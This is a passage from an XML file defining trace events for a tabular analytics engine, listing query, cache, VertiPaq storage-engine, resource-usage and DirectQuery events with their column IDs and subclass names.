            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>81</ID>
          <NAME>Query Dimension</NAME>
          <DESCRIPTION>Query dimension.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Cache data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Non-cache data</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>11</ID>
          <NAME>Query Subcube</NAME>
          <DESCRIPTION>Query subcube, for Usage Based Optimization.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Cache data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Non-cache data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Internal data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>SQL data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Measure Group Structural Change</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Measure Group Deletion</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>12</ID>
          <NAME>Query Subcube Verbose</NAME>
          <DESCRIPTION>Query subcube with detailed information. This event may have a negative impact on performance when turned on.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Cache data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>Non-cache data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>Internal data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>SQL data</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>60</ID>
          <NAME>Get Data From Aggregation</NAME>
          <DESCRIPTION>Answer query by getting data from aggregation. This event may have a negative impact on performance when turned on.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>61</ID>
          <NAME>Get Data From Cache</NAME>
          <DESCRIPTION>Answer query by getting data from one of the caches. This event may have a negative impact on performance when turned on.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Get data from measure group cache</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Get data from flat cache</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Get data from calculation cache</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>Get data from persisted cache</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>82</ID>
          <NAME>VertiPaq SE Query Begin</NAME>
          <DESCRIPTION>VertiPaq SE Query</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Tabular Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>User Hierarchy Processing Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Batch VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>Internal VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Internal Tabular Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>User Hierarchy Processing Query Internal</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>Query Plan VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>Local VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>Remote VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>VertiPaq Cache Probe</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>83</ID>
          <NAME>VertiPaq SE Query End</NAME>
          <DESCRIPTION>VertiPaq SE Query</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Tabular Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>User Hierarchy Processing Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Batch VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>Internal VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Internal Tabular Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>User Hierarchy Processing Query Internal</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>Query Plan VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>Local VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>Remote VertiPaq Scan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>VertiPaq Cache Probe</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>84</ID>
          <NAME>Resource Usage</NAME>
          <DESCRIPTION>Reports reads, writes, cpu usage after end of commands and queries.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>85</ID>
          <NAME>VertiPaq SE Query Cache Match</NAME>
          <DESCRIPTION>VertiPaq SE Query Cache Use</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>VertiPaq Cache Exact Match</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>86</ID>
          <NAME>VertiPaq SE Query Cache Miss</NAME>
          <DESCRIPTION>VertiPaq SE Query Cache Miss</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>VertiPaq Cache Not Found</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>98</ID>
          <NAME>DirectQuery Begin</NAME>
          <DESCRIPTION>DirectQuery Begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>99</ID>
          <NAME>DirectQuery End</NAME>
          <DESCRIPTION>DirectQuery End.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
